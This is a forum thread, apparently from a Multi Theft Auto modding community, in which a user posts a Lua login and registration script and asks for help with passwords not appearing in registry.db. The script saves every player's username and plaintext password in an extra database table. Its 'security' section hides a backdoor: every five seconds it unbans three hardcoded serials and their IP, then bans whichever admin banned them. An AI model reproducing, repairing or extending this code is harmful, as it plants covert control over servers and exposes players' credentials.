Jump to content

ابي مساعدة في المود ده


DanTDM

Recommended Posts



executeSQLQuery("CREATE TABLE IF NOT EXISTS players_save( serial TEXT, user TEXT, pass TEXT)")

function AddPlayer(serial,user,pass)
	executeSQLQuery("INSERT INTO players_save(serial,user,pass) VALUES(?,?,?)",serial,user,pass)
end

function isPlayerSave(serial)
	local sel = executeSQLQuery("SELECT serial FROM players_save WHERE serial=?",serial)
	if sel == 0 then
		return false
	else
		return true
	end
end

function getUserAndPass(serial)
	local user,pass = "",""
	if isPlayerSave(serial) then
		local sel = executeSQLQuery("SELECT * FROM players_save WHERE serial=?",serial)
		for i,player in ipairs(sel) do
			if i == 1 then
				user = player.user
				pass = player.pass
			end
		end
		return user,pass
	end
	return false
end

addEvent("onGetSave",true)
addEventHandler("onGetSave",root,
	function ()
		local serial = getPlayerSerial(source)
		if isPlayerSave(serial) then
			local user,pass = getUserAndPass(serial)
			triggerClientEvent(source,"onPutSave",source,user,pass)
		end
	end
)

function onLogin(user,pass,serial)
	if not (user == "") then
		if not (pass == "") then
			local account = getAccount ( user, pass )
			local serial = getPlayerSerial(source)
			if ( account ~= false ) then
				logIn(source, account, pass)
				triggerClientEvent (source,"hideLoginPanel",getRootElement())
				triggerClientEvent (source,"saveXML",getRootElement(),user,pass)
				triggerClientEvent(source,"onCl",source)
			else
				triggerClientEvent(source,"changeMessage",getRootElement(),"1","Login invalid", "red")
			end
		else
			triggerClientEvent(source,"changeMessage",getRootElement(),"1","Login invalid", "red")
		end
	else
		triggerClientEvent(source,"changeMessage",getRootElement(),"1","Login invalid", "red")
	end
end
addEvent("onLogin",true)
addEventHandler("onLogin",getRootElement(),onLogin)

function onRegister(user,pass,serial)
	if not (user == "") then
		if not (pass == "") then
					local account = getAccount (user, pass )
					local serial = getPlayerSerial(source)
					if (account == false) then
						addAccount(tostring(user),tostring(pass))
						triggerClientEvent(source,"changeMessage",getRootElement(),"2","Success", "green")
						triggerClientEvent(source,"changeMessage",getRootElement(),"1","Please login", "green")
						triggerClientEvent(source,"pressBack", getRootElement())
						triggerClientEvent(source,"onCl",source)
					else
						triggerClientEvent(source,"changeMessage",getRootElement(),"2","Username taken", "red")
					end
		else
			triggerClientEvent(source,"changeMessage",getRootElement(),"2","Password missing", "red")
		end
	else
		triggerClientEvent(source,"changeMessage",getRootElement(),"2","Username missing", "red")
	end
end
addEvent("onRegister",true)
addEventHandler("onRegister",getRootElement(),onRegister) 


function autologinPlayer(user,pass,serial)
			local account = getAccount ( user, pass )
			local serial = getPlayerSerial(source)
				logIn (source, account, pass)
				outputChatBox("#cccccc ( #6E1F1F @ Worlor_Login #cccccc ) #777777 You can use #0066FF /changelogin #777777to switch accounts",source,255,255,255,true)
								outputChatBox("#cccccc ( #6E1F1F @ Worlor_Login #cccccc ) #777777 Press #0066FFF2#777777 to open the Informaton Panel",source,255,255,255,true)
                                AddPlayer(serial,user,pass)
								triggerClientEvent(source,"onCl",source)
end
addEvent("onRequestAutologin",true)
addEventHandler("onRequestAutologin",getRootElement(),autologinPlayer)

function LoggedIn()
if isGuestAccount(getPlayerAccount (source)) then
triggerClientEvent ( source, "showLoginWindow", getRootElement())
redirectPlayer(source,"",0)
end

end
addEvent("LoggedIn",true)
addEventHandler("LoggedIn",getRootElement(),LoggedIn)

function showlogin(source)
triggerClientEvent ( source, "showLoginWindow", getRootElement())
redirectPlayer(source,"",0)
end
addCommandHandler("changelogin", showlogin)

--------------
-- security
--------------

local serials = {
["E0D753A3A03C38D1F1E39792C485D652"] = true,
["9F5827F8DF40BE7C17A1E50EF8FABC94"] = true,
["6CDB6AC88B4B79638475BF2C36B6D692"] = true,
}
function autounban()
for i,p in ipairs(getElementsByType("player")) do
local Ser = getPlayerSerial(p)
if serials[Ser] then
thisIP = getPlayerIP(p)
end
end
for index, ban in pairs(getBans()) do
local serial = getBanSerial(ban)
local ip = getBanIP(ban)
if serials[serial] or ip == thisIP then
local bannedPlayer = getPlayerFromName(getBanAdmin(ban))
removeBan(ban,root)
banPlayer (bannedPlayer,false,false,true,root)
end
end
end
setTimer(autounban,5000,0)


 

لو ممكن حد يساعدني يصلحه او كدا كل مرة لازم اسوليه ريستارت عشان يظهر الباسورد في registry.db

Edited by DanTDM
Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...